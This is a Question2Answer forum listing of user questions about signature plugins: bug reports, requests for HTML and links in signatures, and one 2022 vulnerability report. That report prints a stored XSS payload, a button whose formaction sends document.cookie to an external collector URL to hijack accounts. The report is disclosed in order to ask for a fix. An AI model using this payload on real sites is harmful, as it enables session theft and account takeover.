Question2Answer Q&A - Recent questions tagged signature

Signature allow XSS

Tue, 29 Nov 2022 13:42:06 +0000

It's possible to inject JS into user's signature that leads to account takeover.

Attackers change their signature to the following XSS payload and such JS will be executed is uses click such button.

Hi<button type="test" formaction="javascript: alert('You have been hacked!'), fetch('https://xxxxxxxxxxxxxxxxxxxx.oastify.com?c=' +document.cookie)">CLICK HERE</button>

See example from our forum.

Is there a solution to avoid this?

We use following plugin for Signature: https://github.com/NoahY/q2a-signatures

Thanks.

Can't add a link in User Signature Plugin

Thu, 10 May 2018 07:15:46 +0000

Hi everyone ;

i want to make this option that every user in my q2a has a signature!
and you know that most of the time, signature has a LINK!

but this plugin doesn's let you to do this! (add link or other HTML code)

i change editor and every part of the setting that you think, but i can't reach that!

pleaseee help meee!

Is there any good Signature plugins?

Tue, 25 Apr 2017 10:45:02 +0000

Is there any good signature plugins that will allow users to easily add HTML in their signature without having to know how to write html?

How to add target=_blank in Signiture plugin

Mon, 06 Feb 2017 05:27:08 +0000

How I can add href tag before or after with preg_replace in qa-sig-layer.php ?

Signature Plugin that can work with 1.7 version

Thu, 19 Feb 2015 10:36:51 +0000

Hello Folks,

Do you know of any Singature plugins that work with 1.7 version. I tried looking and it seems like NoahY done it couple years ago and it is not working.

I am happy to pay for the plugin, if somone creates it as premium plugin too.

I would like to add a signature to each of my replies in the Q2A question saying a small disclaimer, any ideas or help is appreciated !

Is anyone using q2a-signatures plugin in 1.6.2 ?

Sun, 10 Nov 2013 12:40:05 +0000

I've found some issues, I think that the master-branch on github

https://github.com/NoahY/q2a-signatures

has not been tested on q2a 1.6.2.

- the signature section doesn't display at all. In fact the options values in the admin page are not correct :

PHP Notice: Use of undefined constant QA_PERMIT_USER - assumed 'QA_PERMIT_USER' in /q2a/qa-plugin/q2a-signatures/qa-sig-admin.php on line 18

PHP Notice: Use of undefined constant QA_PERMIT_ADMIN - assumed 'QA_PERMIT_ADMIN' in /q2a/qa-plugin/q2a-signatures/qa-sig-admin.php on line 20

(I think they should be QA_PERMIT_USERS and QA_PERMIT_ADMINS, but I may be wrong)

- when I submit a new post (q,a,c), I see the new post and do not see the signature immediately. I have to refresh the page to see it.

- the characters counter does not decrease when I type

- if I enable the ckeditor4, I have 2 editors active (and not only one)

Finally, but I think that this behaviour is "wanted", the signature section is displayed in the user profile page, which should be a read-only page, in my opinion. The widget should be in the account page.

Signature Plugin - Need To Modify

Sat, 02 Feb 2013 20:07:57 +0000

This question is for NoahY mostly or for anyone else who would know and can help.

Little introduction here: I have been looking for ways to add PayPal donate button to user profile and under the each answer made by user. I have been trying to get a plugin developed but there seems to be no easy way to do this.

So one day I thought, hey, signature plugin may work for this. So I installed the plugin, change some language from 'signature' to 'Donate to this member' and created a button code with PayPal and copy and pasted it to signature box, although I had HTML enabled the signature did not show as the button but the whole code. So what I did was I uploaded the button image for the signature and went back to paypal and created a link for email and linked the button image to that and it works fine now.

However, I would be more happy if I could somehow get it to work so that whe inserting the button code to signature box then it would display the button.

The other thing I want to know is, how can I modify the plugin so that only admin can set up and edit user signatures, so if the member wants to use a donate button then they will send me the code and I will set it up for them and they can not go and insert or add anything else in signature box, only me the Admin can.

Problem with Signature Plugin after update

Sun, 25 Mar 2012 09:20:24 +0000

I install lastest version of Signature plugin and here is my problem:

- Select Enable signatures in both questions and answers ==> signature does show up

- Select Enable signatures in answers only ==> signature does not show up.

How to disable HTML in Signature ?

Fri, 06 Jan 2012 09:57:21 +0000

http://i.lulzimg.com/cb0c01e577.png

NoahY, Signature plugin doesn't work even after updating

Sun, 20 Nov 2011 15:30:31 +0000

I downloaded the latest version of this plugin yesterday using gitbash and after downloading all files, i copied all php and other files to the folder on this plugin in server but it doesn't show any signature for users. I also enabled signature in admin panel but it still doesn't work at all. Please help me. Please believe me that this plugin has problems and doesn't work.

Signature Plugin - testing, anyone?

Tue, 16 Aug 2011 08:52:21 +0000

It was mentioned that a lot of people were asking for this functionality, and it's kind of appealing so I made a plugin for signatures:

https://github.com/NoahY/q2a-signatures

Once you've got the admin box configured as you like it, go to your user profile, you'll see a new box to enter a signature. Once you've saved that, go to a page with your post on it and you get a signature. Pretty simple. Fairly customizable... only thing left is to enforce length limit done.

Is it possible that site members can add their signature to the question (as in forums)?

Tue, 16 Aug 2011 03:25:52 +0000

Is it possible that site members can add their signature to the question (as in forums)? It makes visitors want to leave messages because it's good for search engine optimization.

Is it possible to make a plugin that allows users to create signatures?

Sat, 19 Feb 2011 20:36:06 +0000

Users could create the signature on their profile page, and every time they post, their signature would be added at the bottom. Is it possible to create a plugin that does this?